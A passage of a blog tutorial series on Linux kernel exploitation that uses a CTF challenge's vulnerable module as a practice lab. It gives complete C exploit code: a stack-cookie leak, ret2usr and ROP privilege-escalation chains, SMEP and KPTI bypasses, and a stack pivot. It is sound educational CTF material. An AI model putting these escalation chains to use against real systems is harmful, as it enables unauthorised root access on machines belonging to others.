Learning Linux Kernel Exploitation - Part 1

Midas 2021-01-23

- Learning Linux Kernel Exploitation - Part 3

Preface

In this series, I'm going to write about some basic stuffs in Linux kernel exploitation that I have learned in the last few weeks: from basic environment setup to some popular Linux kernel mitigations, and their corresponding exploitation techniques.

Back when I first started playing CTF and pwning about 2 years ago, everytime I heard other people talked about kernel exploitation, it was like a very difficult and magical topic to me, I tried to get into it several times, but always didn't know how to start because I didn't have the sufficient knowledge about kernels and operating systems at that point. A few weeks earlier, after having learned a lot more about computer science in general and operating systems in particular, I decided to try learning kernel pwning again, from the very basic. I know it's pretty late for a pwner like me to start learning this subject after so long, but as they always say, it's better late than never. It turns out that this topic is not as difficult as I have always thought it to be (but for sure it's not easy, remember that this is just the very basics that I have learned), it just requires a lot more initial in-depth knowledge and setup than normal userspace exploitation does. *Therefore, it requires pwners to be quite comfortable with userland exploitation before getting into kernel exploitation*.

For the learning process, I used the environment provided by a challenge from `hxpCTF 2020` called `kernel-rop` to practice on. *Keep in mind that I only used it as a practice environment, this is not an actual writeup of the challenge itself* (even though the environment configuration in the last post may be the same as the challenge, so you can call that a writeup). The reason I chose this particular challenge is because:

1. The configuration is quite standard and easy to modify to my practicing needs.
2. The bug in the kernel module is extremely trivial and basic.
3. The kernel version is quite new (at the time I wrote this post, of course).

For me, this series serves as a reminder, an exploitation template for me to look back on and reuse in the future, but if it could help someone on their first steps into Linux kernel exploitation for just a little bit, I would be very delighted.

So let's start the first post of the series, where I demonstrate the most basic way to setup a Linux kernel pwn environment, and the most basic exploitation technique.

Note

Use the table of contents on the right to navigate to the section that you are interested in.

Setting up the environment

First look

For a Linux kernel pwn challenge, our task is to exploit **a vulnearable**

custom kernel module that is installed into the kernel on boot. In most cases, the module will be given along with some files that ultimately use `qemu` as the emulator for a Linux system. However in some rare cases, we might be given with a `VMWare` or `VirtualBox` VM image, or might not be given any emulation environment at all, but according to all the challenges that I have sampled, those are quite rare, so I will only explain the common cases, which are emulated by `qemu`.

In particular, for the `kernel-rop` challenge, we are given a lot of files, but only these files are important for the `qemu` setup:

- vmlinuz - the compressed Linux kernel, sometimes it's called `bzImage`, we can extract it into the actual kernel ELF file called `vmlinux`.
- initramfs.cpio.gz - the Linux file system that is compressed with `cpio` and `gzip`, directories such as `/bin`, `/etc`, … are stored in this file, also the vulnearable kernel module is likely to be included in the file system as well. For other challenges, this file might come in some other compression schemes.
- run.sh - the shell script that contains `qemu` run command, we can change the `qemu` and Linux boot configuration here.

Let's take a deeper look at each of these files to find out what we should do with them, one by one.

The kernel

The Linux kernel, which is often given under the name of vmlinuz or `bzImage`, is the compressed version of the kernel image called `vmlinux`. There can be some different compression schemes that are used like `gzip`, `bzip2`, `lzma`, etc. Here I used a script called extract-image.sh to

extract the kernel ELF file:

```
$ ./extract-image.sh ./vmlinuz > vmlinux
```

The reason for extracting the kernel image is to find `ROP gadgets` inside it. If you are already familiar with userland pwning, you know what `ROP` is, and in the kernel, it's not much different (we will see in later posts). I personally prefer using ROPgadget to do the job:

```
$ ROPgadget --binary ./vmlinux > gadgets.txt
```

Keep in mind that unlike a simple userland program, the kernel image is **HUGE**. Therefore, `ROPgadget` will take a very long time finding all the gadgets and you have to just wait for it, so it is wise to immediately look for gadgets at the beginning of the pwning process. It is also wise to save the output into a file, you don't want to run `ROPgadget` multiple times to look for multiple different gadgets.

The file system

Again, this is a compressed file, I use this script decompress.sh to decompress the file:

```
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
```

After running the script, we have a directory `initramfs` which looks like the root directory of a file system on a Linux machine. We can also see that in this case, the vulnearable kernel module hackme.ko is also included in the root directory, we will copy it to somewhere else to analyze later.

The reason we decompress this file is not only to get the vulnearable module, but also to modify something in this file system to our need. Firstly, we can look into `/etc` directory, because most of the init scripts that are run after booting is stored here. In particular, we look for the following line in one of the files (usually it will be `rcS` or `inittab`) and then modify it:

```
setuidgid 1000 /bin/sh
# Modify it into the following
setuidgid 0 /bin/sh
```

The purpose of this line is to spawn a **non-root shell** with UID `1000` after booting. After modifying the UID to `0`, we will have a **root shell** on startup. You may ask: *why should we do this?* Indeed, this seems quite contradictory, because our goal is to exploit the kernel module to gain root, not to modify the file system (of course we cannot modify the file system on the challenge's remote server). The ultimate reason here is just to simplify the exploitation process. There are some files that contain useful information for us when developing the exploitation code, but they require root access to read, for example:

- `/proc/kallsyms` lists all the addresses of all symbols loaded into the kernel.
- `/sys/module/core/sections/.text` shows the address of kernel

`.text` section, which is also its base address (even though in the case of this challenge, there is no such `/sys` directory, you can still retrieve the base address from `/proc/kallsyms` though).

Warning

Remember to set this back to ***`1000`*** *when running the exploitation code, to avoid false positive while exploiting (you may think you have a root shell after exploiting, but you don't).*

Secondly, we decompress the file system to put our exploitation program into it later. After modifying it, I use this script compress.sh to compress it back into the given format:

```
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
```

The first 2 lines are to compile the exploitation code and put it into the file system.

The qemu run script

Initially, the given run.sh looks like this:

```
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
```

```
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
```

Some notable flags are:

- `-m` specifies the memory size, if for some reasons you cannot boot the emulator, you can try increase this size.
- `-cpu` specifies the CPU model, here we can add `+smep` and `+smap` for SMEP and SMAP mitigation features (more on this later).
- `-kernel` specifies the compressed kernel image.
- `-initrd` specifies the compressed file system.
- `-append` specifies additional boot options, this is also where we can enable/disable mitigation features.
- All the other options can be found in the QEMU documentation.

Note

This challenge uses `-hdb` to put `flag.txt` into `/dev/sda` instead of leaving the `flag.txt` as a normal file in the system. This is maybe to prevent some dirty CTF tricks used by pwners, or maybe just to make the challenge easier to deploy.

The first thing that should be done here is to add `-s` option to it. This options allows us to debug the emulator's kernel remotely from our host machine. All we need to do is to boot the emulator up like normal, then in the host machine, run:

```
$ gdb vmlinux
(gdb) target remote localhost:1234
```

Then, we can debug the system's kernel normally, just like when we attach `gdb` to a normal userland process.

Tip

You might want to disable `peda`, `pwndbg` or `GEF` when debugging remote kernel, because sometimes they might behave weirdly. Simply use `gdb --nx vmlinux`.

The second thing we can do is modify the mitigation features to our practice needs. Of course, when facing a real challenge in a CTF, we may not want to do this, but again, this is me practicing different exploitation techniques in different scenarios, so modifying them is perfectly fine.

Linux kernel mitigation features

Just like mitigation features such as `ASLR`, `stack canaries`, `PIE`, etc. used by userland programs, kernel also have their own set of mitigation features. Below are some of the popular and notable Linux kernel mitigation features that I consider when learning kernel pwn:

- Kernel stack cookies (or canaries) - this is exactly the same as stack canaries on userland. It is enabled in the kernel at compile time and cannot be disabled.
- Kernel address space layout randomization (KASLR) - also like `ASLR` on userland, it randomizes the base address where the kernel is loaded each time the system is booted. It can be

enabled/disabled by adding `kaslr` or `nokaslr` under `-append` option.

- Supervisor mode execution protection (SMEP) - this feature marks all the userland pages in the page table as non-executable when the process is in kernel-mode. In the kernel, this is enabled by setting the `20th bit` of Control Register `CR4`. On boot, it can be enabled by adding `+smep` to `-cpu`, and disabled by adding `nosmep` to `-append`.
- Supervisor Mode Access Prevention (SMAP) - complementing `SMEP`, this feature marks all the userland pages in the page table as non-accessible when the process is in kernel-mode, which means they cannot be read or written as well. In the kernel, this is enabled by setting the `21st bit` of Control Register `CR4`. On boot, it can be enabled by adding `+smap` to `-cpu`, and disabled by adding `nosmap` to `-append`.
- Kernel page-table isolation (KPTI) - when this feature is active, the kernel separates user-space and kernel-space page tables entirely, instead of using just one set of page tables that contains both user-space and kernel-space addresses. One set of page tables includes both kernel-space and user-space addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of user-space and a *minimal set of kernel-space addresses*. It can be enabled/disabled by adding `kpti=1` or `nopti` under `-append` option.

The way I learned, I started out with the least mitigation features enabled: only `stack cookies`, then gradually adding each of them one-by-one in order to learn different techniques that I can use in different cases. But first, let's analyze the vulnearable hackme.ko module itself.

Analyzing the kernel module

The module is absolutely simple. First, in `hackme_init()`, it registers a device named `hackme` with the following operations: `hackme_read`, `hackme_write`, `hackme_open` and `hackme_release`. This means that we can communicate with this module by opening `/dev/hackme` and perform read or write on it.

Performing read or write on the device will make a call to `hackme_read()` or `hackme_write()` in the kernel, their code is as follow (using IDA pro, some irrelevant parts are omitted):

```
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off
{
    //...
    int tmp[32];
    //...
    if ( _size > 0x1000 )
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 0LL);
    if ( copy_from_user(hackme_buf, data, v5) )
        return -14LL;
    _memcpy(tmp, hackme_buf);
    //...
}

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
    //...
    int tmp[32];
    //...
    _memcpy(hackme_buf, tmp);
    if ( _size > 0x1000 )
```

```
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 1LL);
    v6 = copy_to_user(data, hackme_buf, _size) == 0;
    //...
}
```

The bugs in these 2 functions are pretty clear: They both read/write to a stack buffer that is 0x80 bytes in length, but only alert a buffer overflow if the size is larger than 0x1000. Using this bug, we can freely read from/write to the kernel stack.

Now, let's see what we can do with the above primitives to achieve root privileges, starting with the least mitigation features possible: only `stack cookies`.

The simplest exploit - ret2usr

Concept

Recall when we first learn userland pwn, most of us may have done a simple stack buffer overflow challenge where `ASLR` is disabled and `NX` bit is not set. In such case, what we actually did was using a technique calls `ret2shellcode`, where we put our shellcode somewhere on the stack, then debug to find out its address and overwrite the return address of the current function with what we found.

Return-to-user - a.k.a. `ret2usr` - originates from a pretty similar idea. Here, instead of putting a shellcode on the stack, because we have full control of what presents in the `userland`, we can put the piece of code

which we want the program's flow to jump into in the `userland` itself. After that, we simply overwrite the return address of the function that is being called in the kernel with that address. Because the vulnearable function is a kernel function, our code - even though being in the `userland` - is executed under `kernel-mode`. By this way, we have already achieved arbitrary code execution.

In order for this technique to work, we will remove most of the mitigation features in the `qemu` run script by removing `+smep`, `+smap`, `kpti=1`, `kaslr` and adding `nopti`, `nokaslr`.

Since this is the first technique in the series, I will explain the exploitation process step by step.

Opening the device

First of all, before we can interact with the module, we have to open it first. The function to open the device is as simple as open a normal file:

```
int global_fd;

void open_dev(){
    global_fd = open("/dev/hackme", O_RDWR);
        if (global_fd < 0){
                puts("[!] Failed to open device");
                exit(-1);
        } else {
        puts("[*] Opened device");
    }
}
```

After doing this, we can now read and write to `global_fd`.

Leaking stack cookies

Because we have arbitrary stack read, leaking is trivial. The `tmp` buffer on the stack itself is 0x80 bytes long, and the stack cookie is immediately after it. Therefore, if we read the data to a `unsigned long` array (of which each element is 8 bytes), the cookie will be at offset 16:

```
unsigned long cookie;

void leak(void){
    unsigned n = 20;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];

    printf("[*] Leaked %zd bytes\n", r);
    printf("[*] Cookie: %lx\n", cookie);
}
```

Overwriting return address

The situation here is the same as leaking, we will create an `unsigned long` array, then overwrite the cookie with our leaked cookie at index 16. The important thing to note here is that different from `userland` programs, this kernel function actually pops 3 registers from the stack, namely `rbx`, `r12`, `rbp` instead of just `rbp` (this can clearly be seen in the disassembly of the functions). Therefore, we have to put 3 dummy values after the cookie. Then the next value will be the return address that we want our program to return into, which is the function that we will craft on the `userland` to achieve root privileges, I called it `escalate_privs`:

```
void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = (unsigned long)escalate_privs; // ret

    puts("[*] Prepared payload");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}
```

The final concern here is what do we actually write in that function to achieve root privileges.

Getting root privileges

Again, just as a reminder, our goal in kernel exploitation is not to pop a shell via `system("/bin/sh")` or `execve("/bin/sh", NULL, NULL)`, but it is to achieve root privileges in the system, then pop a root shell. Typically, the most common way to do this is by using the 2 functions called `commit_creds()` and `prepare_kernel_cred()`, which are functions that already reside in the kernel-space code itself. What we need to do is to call the 2 functions like this:

```
commit_creds(prepare_kernel_cred(0))
```

Since `KASLR` is disabled, the addresses where these functions reside in is constant across every boot. Therefore, we can just easily get those

addresses by reading `/proc/kallsyms` file using these shell commands:

```
cat /proc/kallsyms | grep commit_creds
-> ffffffff814c6410 T commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
-> ffffffff814c67f0 T prepare_kernel_cred
```

Then the code to achieve root privileges can be written as follows (you can write it in many different ways, it's just simply calling 2 functions consecutively using one's return value as the other's parameter, I just saw this in a writeup and copied it):

```
void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
            "call rax; mov rdi, rax;"
            "movabs rax, 0xffffffff814c6410;" //commit_creds
            "call rax;"
        ...
        ".att_syntax;"
    );
}
```

Tip

You can take note of the way I write the code, it is a very clean way of writing in-line assembly in C code using `intel syntax`.

Returning to userland

At the current state of the exploitation, if you simply return to a

`userland` piece of code to pop a shell, you will be disappointed. The reason is because after running the above code, we are still executing in `kernel-mode`. In order to open a root shell, we have to return to `user-mode`.

Basically, if the kernel runs normally, it will return to userland using 1 of these instructions (in x86_64): `sysretq` or `iretq`. The typical way that most people use is through `iretq`, because as far as I know, `sysretq` is more complicated to get right. The `iretq` instruction just requires the stack to be setup with **5 userland register values** in this order: `RIP|CS|RFLAGS|SP|SS`.

The process keeps track of 2 different sets of values for these registers, one for `user-mode` and one for `kernel-mode`. Therefore, after finishing executing in `kernel-mode`, it must revert back to the `user-mode` values for these registers. For `RIP`, we can simply set this to be the address of the function that pops a shell. However, for the other registers, if we just set them to be something random, the process may not continue execution as expected. To solve this problem, people have thought of a very clever way: *save the state of these registers before going into kernel-mode, then reload them after gaining root privileges*. The function to save their states is as follow:

```
void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
```

```
    );
    puts("[*] Saved state");
}
```

And one more thing, on x86_64, one more instruction called `swapgs` must be called before `iretq`. The purpose of this instruction is to also swap the `GS` register between `kernel-mode` and `user-mode`. With all those information, we can finish the code to gain root privileges, then return to `user-mode`:

```
unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
            "call rax; mov rdi, rax;"
            "movabs rax, 0xffffffff814c6410;" //commit_creds
            "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}
```

We can finally call those pieces that we have crafted one by one, in the correct order, to open a root shell:

```
int main() {
    save_state();
    open_dev();
    leak();
    overflow();
    puts("[!] Should never be reached");
    return 0;
}
```

Conclusion

So that concludes my first post on my Linux kernel exploitation learning process. In this post, I have demonstrated the way to setup the environment for a Linux kernel pwn challenge, and also the simplest technique in kernel exploitation: `ret2usr`.

In the next post, I will gradually increase the difficulty by adding more and more mitigations, and show you the corresponding technique to bypass them.

Appendix

The script to extract kernel image is extract-image.sh.

The script to decompress the file system is decompress.sh.

The script to compile exploit and compress file system is compress.sh.

The full `ret2usr` exploitation code is ret2usr.c.

- Learning Linux Kernel Exploitation - Part 1
- Learning Linux Kernel Exploitation - Part 3

Preface

Welcome to the second part of **Learning Linux Kernel Exploitation**. In the first part, I have introduced what this series is about, demonstrated how to setup the environment and successfully implemented the simplest kernel exploit technique `ret2usr`, while explaining each and every steps in the exploitation using the environment provided by `hxpCTF 2020` challenge `kernel-rop`. In this part, what I'm going to do is to gradually adding more mitigation features, namely `SMEP`, `KPTI`, and `SMAP`, one-by-one, explain how they can change our exploit method, then rebuild our exploitation to bypass them in different assumed scenarios.

I probably won't re-explain what I have demonstrated and developed in the first part, so if some contents in this post don't make sense to you, give the first part a shot, because I might have explained it there.

With those in mind, let's start cracking up the difficulty.

Note

Use the table of contents on the right to navigate to the section that you are interested in.

Adding SMEP

Introduction

`SMEP`, abbreviated for Supervisor mode execution protection (SMEP), is

a feature which marks all the userland pages in the page table as non-executable when the process is exectuting in `kernel-mode`. In the kernel, this is enabled by setting the `20th bit` of Control Register `CR4`. On boot, it can be enabled by adding `+smep` to `-cpu`, and disabled by adding `nosmep` to `-append`.

Recall from the last part, where we achieved root privileges using a piece of code that we wrote ourselves, this strategy won't be viable anymore with `SMEP` on. The reason is because our piece of code retains in `user-space`, and as I have explained above, `SMEP` has already marked the page which contains our code as non-executable when the process is executing in `kernel-mode`. Recall further back to when most of us learned userland pwn, this is effectively the same as setting `NX` bit to make the stack non-executable. That is the time when we were introduced to `Return-oriented programming (ROP)` after learning `ret2shellcode`. The same concept applies with kernel exploitation, I will now introduce `kernel ROP` after having introduced `ret2usr`.

Note

As I have mentioned in part 1, readers are assumed to have sufficient knowledge about userland exploitation, therefore, I won't explain what ROP is all over again. You can always look it up in a lot of resources on the Internet since it's a basic technique.

For a wider range of coverage on different exploitation techniques that can be used, I'm gonna assume 2 distinct scenarios, then dive in each of them:

1. The *first scenario* is exactly the one we are dealing with: we have the ability to write to the kernel stack an (almost) arbitrary amount of

data.
2. The *second scenario* is where I will assume that we can only overwrite up to the return address on the kernel stack, nothing more. This will make exploiting a little bit more complicated.

Let's start by investigating the *first scenario*.

The attempt to overwrite CR4

As I have mentioned above, in the kernel, the 20th bit of Control Register `CR4` is responsible for enabling or disabling `SMEP`. And actually, while executing in `kernel-mode`, we have the power to modify the content of this register with asm instructions such as `mov cr4, rdi`. Instruction such as that comes from a function called `native_write_cr4()`, which overwrites the content of `CR4` with its parameter, and it resides in the kernel itself. So my first attempt to bypass `SMEP` is to ROP into `native_write_cr4(value)`, where `value` is set to clear the 20th bit of `CR4`.

The same as `commit_creds()` and `prepare_kernel_cred()`, we can find the address of that function by reading `/proc/kallsyms`:

```
cat /proc/kallsyms | grep native_write_cr4
-> ffffffff814443e0 T native_write_cr4
```

Important Note

For all the exploitation that I will introduce in this post, I will only explain the parts that are different from `ret2usr`. The parts that are exactly the same as the previous post are: ***saving the state, opening the device, and leaking stack cookie.***

The way we build a ROP chain in the kernel is exactly the same as in userland. So here, instead of immediately return into our userland code, we will return into `native_write_cr4(value)`, then return to our privileges escalation code. For the current value of `CR4`, we can get it by either causing a kernel panic and it will be dumped out (or attaching a debugger to the kernel)

```
[    3.794861] CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0
```

We will clear the 20th bit, which is at the position of `0x100000`, our `value` will be `0x6f0`. Our payload will be as follow:

```
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;

void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_ret; // return address
    payload[off++] = 0x6f0;
    payload[off++] = native_write_cr4; // native_write_cr4(0x6f0), effectively clea
    payload[off++] = (unsigned long)escalate_privs;

    puts("[*] Prepared payload");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}
```

For gadgets such as `pop rdi ; ret`, we can easily find them by grepping the `gadgets.txt` file that was generated by running `ROPgadget` on the kernel image in the first post.

Warning

It seems that in the kernel image file `vmlinux`, there is no information about whether a region is executable or not, so `ROPgadget` will attempt to find all the gadgets that exist in the binary, even the non-executable ones. If you try to use a gadget and the kernel crashes because it is non-executable, you just have to try another one.

In theory, running this should give us a root shell. However, in reality, the kernel still crashes, and even more confusing, the reason for the crash is `SMEP`:

```
[    3.770954] unable to execute userspace code (SMEP?) (uid: 1000)
```

Why is `SMEP` still active if we have already cleared the 20th bit? I decided to use `dmesg` to find out if there is anything weird happens to `CR4`, and I found this line:

```
[    3.767510] pinned CR4 bits changed: 0x100000!?
```

It seems like the 20th bit of `CR4` is somehow pinned. I then proceeded to google for the source code of `native_write_cr4()` and other resources to clarify the situation, here is the source code:

```
void native_write_cr4(unsigned long val)
{
```

```
        unsigned long bits_changed = 0;

set_register:
        asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");

        if (static_branch_likely(&cr_pinning)) {
                if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
                        bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
                        val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
                        goto set_register;
                }
                /* Warn after we've corrected the changed bits. */
                WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
                          bits_changed);
        }
}
```

And there is also [a documentation on CR4 bits pinning]. Reading the mentioned resources, it is clear that in newer kernel versions, the 20th and 21st bits of `CR4` are pinned on boot, and will immediately be set again after being cleared, so ***they can never be overwritten this way anymore!***

So my first attempt was a fail. At least we now know that even though we have the power to overwrite `CR4` in `kernel-mode`, the kernel developers have already awared of it and prohibited us from using such thing to exploit the kernel. Let's move on to develop a stronger exploitation that will actually work.

Building a complete escalation ROP chain

In this second attempt, we will get rid of the idea of getting root privileges by running our own code completely, and try to achieve it by using ROP only. The plan is straightforward:

1. ROP into `prepare_kernel_cred(0)`.
2. ROP into `commit_creds()`, with the return value from step 1 as parameter.
3. ROP into `swapgs ; ret`.
4. ROP into `iretq` with the stack setup as `RIP|CS|RFLAGS|SP|SS`.

The ROP chain itself is not complicated at all, but there are still some hiccups in building it. Firstly, as I mentioned above, there are a lot of gadgets that `ROPgadget` found but are unusable. Therefore, I had to do a lot of trials-and-errors and finally ended up using these gadgets to move the return value in step 1 (stored in `rax`) into `rdi` to pass to `commit_creds()`, they might seem a bit bizarre, but all of the ordinary gadgets that I tried are non-executable:

```
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffff
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne
```

The goal with these 3 gadgets is to move `rax` into `rdi` without taking the `jne`. So I have to pop the value 8 into `rdx`, then return to a `cmp` instruction to make the comparison equals, which will make sure that we won't jump to `jne` branch:

```
...
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
```

```
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
...
```

Secondly, it seems that `ROPgadget` can find `swapgs` just fine, but it can't find `iretq`, so I have to use `objdump` to look for it:

```
objdump -j .text -d ~/vmlinux | grep iretq | head -1
-> ffffffff8100c0d9:       48 cf                   iretq
```

With the gadgets in hand, we can build the full ROP chain:

```
unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffff
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ; jne
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_ret; // return address
    payload[off++] = 0x0; // rdi <- 0
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = pop_rdx_ret;
    payload[off++] = 0x8; // rdx <- 8
```

```
    payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    payload[off++] = swapgs_pop1_ret; // swapgs
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = iretq; // iretq frame
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}
```

And with that, we have successfully built an exploitation that bypasses `SMEP` and opens a root shell in the *first scenario*. Let's move on to see what difficulty we might face in the second one.

Pivoting the stack

It is clear that we cannot fit the whole ROP chain in the stack anymore with the assumption that we can only overflow up to the return address. To overcome that, we will again use a technique that is also quite popular in userland pwn: `stack pivot`. It is a technique which involves modifying `rsp` to point into a controlled writable address, effectively creating a fake stack. However, while pivoting the stack in userland often involves overwriting the `saved RBP` of a function, then

return from it, pivoting in the kernel is much simpler. Because we have such a huge amount of gadgets in the kernel image, we can look for those which modify `rsp/esp` itself. We are most interested in gadgets that move a constant value into `esp`, just make sure that the gadget is executable, and the constant value is properly aligned. This is the gadget that I ended up using:

```
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r
```

So that's what we will overwrite the return address with, but before that, we have to setup our fake stack first. Since `esp` will become `0x5b000000` after that, we will map a fixed page there, then start writing our ROP chain into it:

```
void build_fake_stack(void){
    fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PRO
    unsigned off = 0x1000 / 8;
    fake_stack[0] = 0xdead; // put something in the first page to prevent fault
    fake_stack[off++] = 0x0; // dummy r12
    fake_stack[off++] = 0x0; // dummy rbp
    fake_stack[off++] = pop_rdi_ret;
    ... // the rest of the chain is the same as the last payload
}
```

There are 2 things that should be noticed in the above code:

1. I mmapped the pages at `0x5b000000 - 0x1000` instead of exactly `0x5b000000`. This is because functions like `prepare_kernel_cred()` and `commit_creds()` make calls to other functions inside them, causing the stack to grow. If we point our `esp` at the exact start of the page, there will not be enough space for the stack to grow and

it will crash.
2. I must write a dummy value into the first page, otherwise it will create a `Double Fault`. According to my understanding, the reason being the pages are only inserted to the page table after being accessed, not after being mapped. We mapped `0x2000` bytes which equal to 2 pages, and we put our ROP chain entirely in the second page, so we have to access the first page as well.

And that is how we get a root shell while only being able to overflow the stack up to the return address. It also concludes my introduction to bypassing `SMEP`, let's now add one more mitigation, namely `KPTI`.

Adding KPTI

Introduction

`KPTI`, abbreviated for Kernel page-table isolation, is a feature which separates `user-space` and `kernel-space` page tables entirely, instead of using just one set of page tables that contains both `user-space` and `kernel-space` addresses. One set of page tables includes both `kernel-space` and `user-space` addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of `user-space` and a *minimal set of `kernel-space` addresses*. It can be enabled / disabled by adding `kpti=1` or `nopti` under `-append` option.

This feature is very unique to the kernel and was introduced to prevent `meltdown` in Linux kernel, therefore, there will be no equivalence in the userland to compare to this time. Firstly, trying to run any of the exploits in the last section will cause a crash. But the interesting thing is, the crash is a normal userland `Segmentation fault`, not a crash in the

kernel. The reason is because even though we have already returned the execution to user-mode, the page tables that it is using is still the kernel's, with all the pages in userland marked as `non-executable`.

Bypassing `KPTI` is actually not complicated at all, here are the 2 methods that I have read about in some writeups:

1. Using a `signal handler` (method by `@ntrung03` in this writeup): this is a very clever solution, the fact that it is so simple. The idea is that because what we are dealing with is a `SIGSEGV` in the userland, we can just add a signal handler to it which calls `get_shell()` by simply inserting this line in to `main`: `signal(SIGSEGV, get_shell);`. I still don't fully understand this though, because for whatever reasons, even though the handler `get_shell()` itself also resides in non-executable pages, it can still be executed normally if a `SIGSEGV` is caught (instead of looping the handler indefinitely or fallback to default handler or undefined behavior, etc.), but it does work.
2. Using a `KPTI trampoline` (used by most writeups): this method is based on the idea that if a syscall returns normally, there must be a piece of code in the kernel that will swap the page tables back to the userland ones, so we will try to reuse that code to our purpose. That piece of code is called a `KPTI trampoline`, and what it does is to swap page tables, `swapgs` and `iretq`. We will take a deeper look at this method.

Tweaking the ROP chain

The piece of code resides in a function called `swapgs_restore_regs_and_return_to_usermode()`, we can again find the address of it by reading `/proc/kallsyms`:

```
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
```

This is what the start of the function looks like in IDA:

```
.text:FFFFFFFF81200F10                pop     r15
